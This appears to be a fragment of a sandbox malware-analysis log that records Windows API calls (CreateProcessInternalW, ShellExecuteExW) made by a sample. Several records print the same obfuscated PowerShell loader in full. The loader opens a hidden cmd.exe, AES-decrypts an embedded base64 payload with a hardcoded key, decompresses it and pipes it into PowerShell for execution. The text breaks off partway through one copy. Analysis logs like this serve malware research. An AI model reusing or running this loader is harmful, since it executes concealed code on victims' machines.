System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell - }
cmdline powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell - }
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2624
thread_handle: 0x00000310
process_identifier: 2620
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell - }
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000031c
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kNko = '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';$XvJwxWDlzdcb = 'YWtVa3hHZ1VLem9LUGlzT21veHpLQUFVZG1pWlpWV0c=';$EWIUid = New-Object 'System.Security.Cryptography.AesManaged';$EWIUid.Mode = [System.Security.Cryptography.CipherMode]::ECB;$EWIUid.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$EWIUid.BlockSize = 128;$EWIUid.KeySize = 256;$EWIUid.Key = [System.Convert]::FromBase64String($XvJwxWDlzdcb);$toqdi = [System.Convert]::FromBase64String($kNko);$BGCARKvJu = $toqdi[0..15];$EWIUid.IV = $BGCARKvJu;$QKtHlTSSQCxqNkgO = $EWIUid.CreateDecryptor();$TLDoShJAHLelX = $QKtHlTSSQCxqNkgO.TransformFinalBlock($toqdi, 16, $toqdi.Length - 16);$EWIUid.Dispose();$Slmo = New-Object System.IO.MemoryStream( , $TLDoShJAHLelX );$VWmxzsVb = New-Object System.IO.MemoryStream;$eyAncmbFWqHmDr = New-Object System.IO.Compression.GzipStream $Slmo, ([IO.Compression.CompressionMode]::Decompress);$eyAncmbFWqHmDr.CopyTo( $VWmxzsVb );$eyAncmbFWqHmDr.Close();$Slmo.Close();[byte[]] $iBtzZpgvmDwCkyE = $VWmxzsVb.ToArray();$IxVvCOp = [System.Text.Encoding]::UTF8.GetString($iBtzZpgvmDwCkyE);$IxVvCOp | powershell - }
filepath: powershell.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /c powershell.exe $kNko = 'AAAAAAAAAAAAAAAAAAAAAGJj4ebx7Hwkz0xXXQcjwZjo7Laqmi/fCq8C0T9wumgxeRcO9Mb2ux6slrOhvexmAQwvD2vQ08sF7tMtZkEe4A29vKe++YoMAE9iJMMEV1fCkhYIyxUcNNK8kMSHu2phvf5hND3amHWf5O6KK3lmXSG7b2gT7RKg5dqV2mUHYjEu2MNcdEZyIy3yhp2Eyc+WiqciRAnJa5JJiVk2BreqK16UDlqmqpKq/uXHV25WiL6WJ6vy3v0xJna77dzK40THWJAoEqZ4gu7tL+tbQIyLS4UiILOv8QUWnDCf2Pid13l3IpjOxyuaigLCZvUydQyWud6CJjc6IkrwM54kUP82q1YeaXh/BTk8F9YPqkiwyHSlkC0PHl9/JambxDRvKywXWS6AspeSa9cN3NiNgjqdqe/yUifCxN42+a06vtuFROMYacvMMeiYsDqnFRUr6sevAWrI4K45EU1T4vMWIlm7I2DdZOdDw13NmrXYYui0YEgqptOfLWCLE8FEowq8NbbwDWYe6Z89PJozWD+fJl9EMFPIm+aA3S8FPVv7Ok/737AQjPR3XKKL2dvYZdmokTSqC+9YPoknktdrpfZ7zRvWep1BrjspeCUsnKj2EkkJTiRmBQggjKWGcAUVOxl6y22RzUjgu+f+yNhpkw0g2FS1hRNQv/jdwXhlndg8BZ/qxnlrk+guQ/wkpWiFgHx097NiAXl18DT6ikD766Kf+h0q0sKGycmPQVV8iW2pIwmkn8g0qpbsaEqMg4lld66czPxKzW3e18RoO2yHTDur85zvU